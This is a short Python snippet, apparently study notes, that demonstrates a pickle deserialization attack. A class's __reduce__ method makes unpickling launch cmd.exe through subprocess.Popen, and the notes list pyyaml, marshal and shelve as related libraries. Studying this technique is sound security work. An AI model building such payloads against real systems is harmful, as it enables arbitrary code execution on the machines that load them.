import pickle
import pickletools
import subprocess

# Attack definition __reduce__

class A(object):
    a = 1
    b = 2
    def __reduce__(self):
        return (subprocess.Popen, (('cmd.exe',),))

data = pickle.dumps(A())
pickletools.dis(data)

## python other library
pyyaml
marshal
shelve